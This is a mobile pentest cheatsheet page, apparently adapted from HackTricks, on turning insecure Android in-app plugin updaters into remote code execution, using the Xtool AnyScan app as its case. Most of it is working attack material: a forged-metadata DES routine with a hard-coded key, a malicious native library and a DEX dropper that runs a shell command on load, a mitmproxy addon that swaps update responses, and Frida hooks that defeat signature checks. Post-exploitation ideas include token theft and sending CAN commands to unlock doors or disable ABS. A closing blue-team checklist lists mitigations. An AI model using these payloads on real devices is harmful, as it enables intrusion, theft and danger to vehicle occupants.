daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

insecure-in-app-update-rce.md (19834B)


      1 ---
      2 title: "Insecure In-App Update Mechanisms – Remote Code Execution via Malicious Plugins"
      3 section: "Mobile"
      4 sectionSlug: "mobile-pentesting"
      5 sourcePath: "src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Insecure In-App Update Mechanisms – Remote Code Execution via Malicious Plugins
     14 
     15 Many Android applications implement their own “plugin” or “dynamic feature” update channels instead of using the Google Play Store. When the implementation is insecure an attacker able to intercept or tamper with the update traffic can supply arbitrary native or Dalvik/ART code that will be loaded inside the app process, leading to full Remote Code Execution (RCE) on the handset – and in some cases on any external device controlled by the app (cars, IoT, medical devices …).
     16 
     17 This page summarises a real‐world vulnerability chain found in the Xtool AnyScan automotive-diagnostics app (v4.40.11 → 4.40.40) and generalises the technique so you can audit other Android apps and weaponise the mis-configuration during a red-team engagement.
     18 
     19 ---
     20 ## 0. Quick triage: does the app have an in‑app updater?
     21 
     22 Static hints to look for in JADX/apktool:
     23 - Strings: "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip", "splitcompat", "splitinstall", "appUpdate", "local-testing", "codepush", "expo-updates".
     24 - Network endpoints like `/update`, `/plugins`, `/getUpdateList`, `/GetUpdateListEx`.
     25 - Crypto helpers near update paths (DES/AES/RC4; Base64; JSON/XML packs).
     26 - Dynamic loaders: `System.load`, `System.loadLibrary`, `dlopen`, `DexClassLoader`, `PathClassLoader`, `InMemoryDexClassLoader`.
     27 - Unzip paths writing under app-internal or external storage, then immediately loading a `.so`/DEX.
     28 
     29 Runtime hooks to confirm:
     30 
     31 ```javascript
     32 // Frida: log native and dex loading
     33 Java.perform(() => {
     34   const Runtime = Java.use('java.lang.Runtime');
     35   const SystemJ = Java.use('java.lang.System');
     36   const DexClassLoader = Java.use('dalvik.system.DexClassLoader');
     37 
     38   SystemJ.load.overload('java.lang.String').implementation = function(p) {
     39     console.log('[System.load] ' + p); return this.load(p);
     40   };
     41   SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) {
     42     console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n);
     43   };
     44   Runtime.load.overload('java.lang.String').implementation = function(p){
     45     console.log('[Runtime.load] ' + p); return this.load(p);
     46   };
     47   DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
     48     console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`);
     49     return this.$init(dexPath, optDir, libPath, parent);
     50   };
     51 });
     52 ```
     53 
     54 Fast filesystem triage on a rooted / debuggable target:
     55 
     56 ```bash
     57 adb shell run-as <pkg> sh -c 'find files code_cache no_backup app_* -maxdepth 5 \( -name "*.dex" -o -name "*.jar" -o -name "*.apk" -o -name "*.so" \) -ls 2>/dev/null'
     58 adb shell run-as <pkg> sh -c 'find files -maxdepth 5 \( -path "*splitcompat*" -o -path "*local_testing*" -o -path "*codepush*" -o -path "*expo*" \) -print 2>/dev/null'
     59 ```
     60 
     61 ---
     62 ## 1. Identifying an Insecure TLS TrustManager
     63 
     64 1. Decompile the APK with jadx / apktool and locate the networking stack (OkHttp, HttpUrlConnection, Retrofit…).
     65 2. Look for a custom `TrustManager` or `HostnameVerifier` that blindly trusts every certificate:<sup>[[1]](#references)</sup>
     66 
     67 ```java
     68 public static TrustManager[] buildTrustManagers() {
     69     return new TrustManager[]{
     70         new X509TrustManager() {
     71             public void checkClientTrusted(X509Certificate[] chain, String authType) {}
     72             public void checkServerTrusted(X509Certificate[] chain, String authType) {}
     73             public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
     74         }
     75     };
     76 }
     77 ```
     78 
     79 3. If present the application will accept any TLS certificate → you can run a transparent MITM proxy with a self-signed cert:
     80 
     81 ```bash
     82 mitmproxy -p 8080 -s addon.py  # see §4
     83 iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080  # on rooted device / emulator
     84 ```
     85 
     86 If TLS pinning is enforced instead of unsafe trust-all logic, see:
     87 
     88 [Android Anti Instrumentation And Ssl Pinning Bypass](/hacktricks/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass)
     89 
     90 [Make Apk Accept Ca Certificate](/hacktricks/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate)
     91 
     92 ---
     93 ## 2. Reverse-Engineering the Update Metadata
     94 
     95 In the AnyScan case each app launch triggers an HTTPS GET to:
     96 ```text
     97 https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
     98 ```
     99 The response body is an XML document whose `<FileData>` nodes contain Base64-encoded, DES-ECB encrypted JSON describing each available plugin.<sup>[[1]](#references)</sup>
    100 
    101 Typical hunting steps:
    102 1. Locate the crypto routine (e.g. `RemoteServiceProxy`) and recover:
    103    - algorithm (DES / AES / RC4 …)
    104    - mode of operation (ECB / CBC / GCM …)
    105    - hard-coded key / IV (commonly 56‑bit DES or 128‑bit AES constants)
    106 2. Re-implement the function in Python to decrypt / encrypt the metadata:<sup>[[1]](#references)</sup>
    107 
    108 ```python
    109 from Crypto.Cipher import DES
    110 from base64 import b64decode, b64encode
    111 
    112 KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A"  # 56-bit key observed in AnyScan
    113 
    114 def decrypt_metadata(data_b64: str) -> bytes:
    115     cipher = DES.new(KEY, DES.MODE_ECB)
    116     return cipher.decrypt(b64decode(data_b64))
    117 
    118 def encrypt_metadata(plaintext: bytes) -> str:
    119     cipher = DES.new(KEY, DES.MODE_ECB)
    120     return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
    121 ```
    122 
    123 Notes seen in the wild (2023–2025):
    124 - Metadata is often JSON-within-XML or protobuf; weak ciphers and static keys are common.
    125 - Many updaters accept plain HTTP for the actual payload download even if metadata comes over HTTPS.
    126 - Plugins frequently unzip to app-internal storage; some still use external storage or legacy `requestLegacyExternalStorage`, enabling cross-app tampering.
    127 
    128 ---
    129 ## 3. Craft a Malicious Plugin
    130 
    131 ### 3.1 Native library path (dlopen/System.load[Library])
    132 
    133 1. Pick any legitimate plugin ZIP and replace the native library with your payload:<sup>[[1]](#references)</sup>
    134 
    135 ```c
    136 // libscan_x64.so – constructor runs as soon as the library is loaded
    137 __attribute__((constructor))
    138 void init(void){
    139     __android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
    140     // spawn reverse shell, drop file, etc.
    141 }
    142 ```
    143 
    144 ```bash
    145 $ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
    146 $ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
    147 ```
    148 
    149 2. Update the JSON metadata so that `"FileName" : "PWNED.zip"` and `"DownloadURL"` points to your HTTP server.
    150 3. Re‑encrypt + Base64‑encode the modified JSON and copy it back inside the intercepted XML.
    151 
    152 ### 3.2 Dex-based plugin path (DexClassLoader)
    153 
    154 Some apps download a JAR/APK and load code via `DexClassLoader`. Build a malicious DEX that triggers on load:
    155 
    156 ```java
    157 // src/pwn/Dropper.java
    158 package pwn;
    159 public class Dropper {
    160     static { // runs on class load
    161         try {
    162             Runtime.getRuntime().exec("sh -c 'id > /data/data/<pkg>/files/pwned' ");
    163         } catch (Throwable t) {}
    164     }
    165 }
    166 ```
    167 
    168 ```bash
    169 # Compile and package to a DEX jar
    170 javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java
    171 jar cf dropper.jar -C out/ .
    172 d8 --output outdex/ dropper.jar
    173 cd outdex && zip -r plugin.jar classes.dex  # the updater will fetch this
    174 ```
    175 
    176 If the target calls `Class.forName("pwn.Dropper")` your static initializer executes; otherwise, reflectively enumerate loaded classes with Frida and call an exported method.
    177 
    178 ### 3.3 In-memory DEX loaders
    179 
    180 Some modern updaters decrypt a payload into a `ByteBuffer` and instantiate `InMemoryDexClassLoader` instead of writing a final JAR/APK to disk. This removes easy filesystem artefacts and, on Android 14+, can also sidestep file-path-focused DCL hardening because the final code blob never exists as a normal writable DEX path.
    181 
    182 ```javascript
    183 Java.perform(() => {
    184   const IMDCL = Java.use('dalvik.system.InMemoryDexClassLoader');
    185   const ctor = IMDCL.$init.overload('java.nio.ByteBuffer', 'java.lang.ClassLoader');
    186   ctor.implementation = function(buf, parent) {
    187     console.log('[InMemoryDexClassLoader] capacity=' + buf.capacity());
    188     return ctor.call(this, buf, parent);
    189   };
    190 });
    191 ```
    192 
    193 When this fires, pivot backwards into the decrypt/decompress routine that produced the `ByteBuffer`; the exploitable primitive is usually still a tamperable archive, encrypted blob, or attacker-controlled metadata field.
    194 
    195 ---
    196 ## 4. Deliver the Payload with mitmproxy
    197 
    198 `addon.py` example that silently swaps the original metadata:<sup>[[1]](#references)</sup>
    199 
    200 ```python
    201 from mitmproxy import http
    202 MOD_XML = open("fake_metadata.xml", "rb").read()
    203 
    204 def request(flow: http.HTTPFlow):
    205     if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
    206         flow.response = http.Response.make(
    207             200,
    208             MOD_XML,
    209             {"Content-Type": "text/xml"}
    210         )
    211 ```
    212 
    213 Run a simple web server to host the malicious ZIP/JAR:
    214 ```bash
    215 python3 -m http.server 8000 --directory ./payloads
    216 ```
    217 
    218 When the victim launches the app it will:
    219 - fetch our forged XML over the MITM channel;
    220 - decrypt & parse it with the hard-coded crypto;
    221 - download `PWNED.zip` or `plugin.jar` → unzip inside private storage;
    222 - load the included `.so` or DEX, instantly executing our code with the app’s permissions (camera, GPS, Bluetooth, filesystem, …).
    223 
    224 Because the plugin is cached on disk the backdoor persists across reboots and runs every time the user selects the related feature.
    225 
    226 ---
    227 ## 4.1 Bypassing signature/hash checks (when present)
    228 
    229 If the updater validates signatures or hashes, hook verification to always accept attacker content:
    230 
    231 ```javascript
    232 // Frida – make java.security.Signature.verify() return true
    233 Java.perform(() => {
    234   const Sig = Java.use('java.security.Signature');
    235   Sig.verify.overload('[B').implementation = function(a) { return true; };
    236 });
    237 
    238 // Less surgical (use only if needed): defeat Arrays.equals() for byte[]
    239 Java.perform(() => {
    240   const Arrays = Java.use('java.util.Arrays');
    241   Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; };
    242 });
    243 ```
    244 
    245 Also consider stubbing vendor methods such as `PluginVerifier.verifySignature()`, `checkHash()`, or short‑circuiting update gating logic in Java or JNI.
    246 
    247 ---
    248 ## 5. Other attack surfaces in updaters (2023–2026)
    249 
    250 - Zip Slip path traversal while extracting plugins: malicious entries like `../../../../data/data/<pkg>/files/target` overwrite arbitrary files. Also test symlink entries and non-empty destination directories; canonical-path checks only help if extraction happens inside a fresh app-private directory.
    251 - External storage staging: if the app writes the archive to external storage before loading, any other app can tamper with it. Scoped Storage or internal app storage avoids this.
    252 - Cleartext downloads: metadata over HTTPS but payload over HTTP → straightforward MITM swap.
    253 - Incomplete signature checks: comparing only a single file hash, not the whole archive; not binding signature to the developer key; accepting any key shipped next to the payload; verifying metadata but not the extracted file tree.
    254 - In-memory loaders: some updaters decrypt `classes.dex` straight into `InMemoryDexClassLoader`; in those cases the filesystem artefact is only the encrypted blob or temp archive, not the final executable payload.
    255 - Split APK / local-testing leftovers: official Play Core testing helpers obtain splits from a specified local directory, and `SplitCompat.install()` immediately exposes code/resources from installed splits. In production builds, any custom equivalent that trusts writable module directories, `split_id`-derived filenames, or leftover local-testing artefacts becomes a plugin-swap primitive. Historically this class of bug already led to Play Core code execution via path traversal (CVE-2020-8913); today you usually find the same idea as app-side misuse rather than the library bug itself.
    256 - React Native / Web-based OTA content: if native bridges execute JS from OTA without strict signing, arbitrary code execution in the app context is possible (e.g., insecure CodePush-like flows). For Expo/EAS-style updaters, look for disabled or bypassable update signing before treating the JS bundle as trusted.
    257 
    258 ### 5.1 Trusted updater abuse: installing packages that do not exist yet
    259 
    260 Do not test only replacement updates. A preinstalled or privileged updater may deserialize a remote Boolean/enum that decides whether the target package must already exist. If the backend can select an “install when absent” branch (for example, `installNotExists=true`), the update channel becomes an **arbitrary new-APK installation primitive**, even if the normal workflow appears limited to maintaining firmware packages. Trace the complete path from MQTT/push-message parsing through the package-existence check, download destination and `PackageInstaller`/PackageManager call.<sup>[[3]](#references)</sup>
    261 
    262 Preserve the updater cache and correlate every newly introduced package with its recorded installer. Android's `pm list packages -i` option exposes the installer identity; on a rooted or forensic image, compare this with the APKs staged below the updater's external cache.<sup>[[3]](#references)[[4]](#references)</sup>
    263 
    264 ```bash
    265 UPDATER=com.vendor.updater; SUSPECT=com.example.suspect
    266 adb shell 'pm list packages -i | sort'
    267 adb shell "find /sdcard/Android/data/$UPDATER/cache/push/apk -type f -ls 2>/dev/null"
    268 adb shell "pm path $SUSPECT; dumpsys package $SUSPECT"
    269 ```
    270 
    271 Treat the installer identity as provenance, not privilege inheritance: a downloaded APK normally executes under its **own UID and declared/granted permissions**. Do not report execution with the updater's system privileges unless shared UID, platform signing, an exported privileged bridge or another explicit escalation path proves it.<sup>[[3]](#references)</sup>
    272 
    273 ### 5.2 Recovering staged payload families
    274 
    275 A downloaded file's extension is not a reliable type signal. Start from the loader's reads and deserializer: one observed staged format used a one-byte string key, a four-byte floating-point value reused as an XOR key, and then encrypted DEX bytes. Embedded droppers may also split ciphertext into blocks and derive each single-byte key linearly (`key_i = (key_0 + i * step) & 0xff`). Reimplement the exact loop, deserialize the recovered metadata, and validate output with DEX/ZIP magic before decompilation.<sup>[[3]](#references)</sup>
    276 
    277 Predictable version strings in payload URLs are also an analysis surface. If a captured path contains a directly editable value such as `dex3.68.png`, enumerate nearby versions **only in an authorized sinkholed/lab copy**, then record HTTP status, hash, decoded magic and entry point. Diff recovered versions for header-layout, decoder, C2, class/method and capability changes; a decoder change in an older payload can reveal a previously unknown intermediate loader.<sup>[[3]](#references)</sup>
    278 
    279 ### 5.3 Configuration-driven reflective modules
    280 
    281 Look beyond hard-coded command handlers. A compact implant can receive integer task IDs, fetch JSON definitions only for unknown or newer timestamped versions, and persist them in `SharedPreferences`; a field such as `tagName` then selects handlers for HTTP, WebView/JavaScript or module loading. During analysis, dump the preferences XML and correlate ID/version changes with descriptor-fetch requests and reflective calls.<sup>[[3]](#references)</sup>
    282 
    283 For module loaders, trace attacker-controlled `url`, module name, entry class, factory/virtual method, typed arguments, cleanup list, thread and reload flags. An MD5/SHA value delivered in the **same attacker-controlled task object** as the payload URL detects corruption but does not authenticate code: the operator controls both values. Successful reflection gives replaceable code execution in the implant process and permission context.<sup>[[3]](#references)</sup>
    284 
    285 ### 5.4 Platform changes that change exploitation
    286 
    287 - Apps targeting Android 14 (API 34+) must mark dynamically loaded DEX/JAR/APK files read-only as soon as they are opened and before content is written; otherwise the system throws an exception when the app later tries to load them.<sup>[[2]](#references)</sup>
    288 - Apps targeting Android 17 (API 37+) extend the same Safer Dynamic Code Loading rule to native libraries loaded with `System.load()`; writable copied `.so` files now fail with `UnsatisfiedLinkError`.<sup>[[2]](#references)</sup>
    289 - Offensive takeaway: crashes around writable dynamic code are still useful findings. They tell you the app is shipping a custom updater/plugin architecture; move earlier in the chain and tamper with metadata, temp files, unzip destinations, or the decrypted in-memory buffer before the app flips permissions or verifies integrity.
    290 
    291 ---
    292 ## 6. Post-Exploitation Ideas
    293 
    294 - Steal session cookies, OAuth tokens, or JWTs stored by the app.
    295 - Drop a second-stage APK and silently install it via `pm install` if possible (some apps already declare `REQUEST_INSTALL_PACKAGES`).
    296 - Abuse any connected hardware – in the AnyScan scenario you can send arbitrary OBD‑II / CAN bus commands (unlock doors, disable ABS, etc.).<sup>[[1]](#references)</sup>
    297 
    298 ---
    299 ### Detection & Mitigation Checklist (blue team)
    300 
    301 - Avoid dynamic code loading and out‑of‑store updates. Prefer Play‑mediated updates. If dynamic plugins are a hard requirement, design them as data‑only bundles and keep executable code in the base APK.<sup>[[2]](#references)</sup>
    302 - Enforce TLS properly: no custom trust‑all managers; deploy pinning where feasible and a hardened network security config that disallows cleartext traffic.
    303 - Do not download executable code from outside Google Play. If you must, use detached update signing (e.g., Ed25519/RSA) with a developer‑held key and verify before loading. Bind metadata and payload (length, hash, version) and fail closed.<sup>[[2]](#references)</sup>
    304 - Use modern crypto (AES‑GCM) with per‑message nonces for metadata; remove hard‑coded keys from clients.
    305 - Validate integrity of downloaded archives: verify a signature that covers every file, or at minimum verify a manifest of SHA‑256 hashes. Reject extra/unknown files.<sup>[[2]](#references)</sup>
    306 - Store downloads in app‑internal storage (or scoped storage on Android 10+) and use file permissions that prevent cross‑app tampering.<sup>[[2]](#references)</sup>
    307 - Defend against Zip Slip: normalize and validate zip entry paths before extraction; reject absolute paths or `..` segments.
    308 - Consider Play “Code Transparency” to allow you and users to verify that shipped DEX/native code matches what you built (complements but does not replace APK signing).
    309 
    310 ---
    311 ## References
    312 
    313 - [1] [NowSecure – Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
    314 - [2] [Android Developers – Dynamic Code Loading (risks and mitigations)](https://developer.android.com/privacy-and-security/risks/dynamic-code-loading)
    315 - [3] [MoYu Malware Turns Android Car Head Units into Proxy-Botnet Nodes](https://securelist.com/android-head-unit-malware/121106/)
    316 - [4] [Android Debug Bridge – Package manager commands](https://developer.android.com/tools/adb#pm)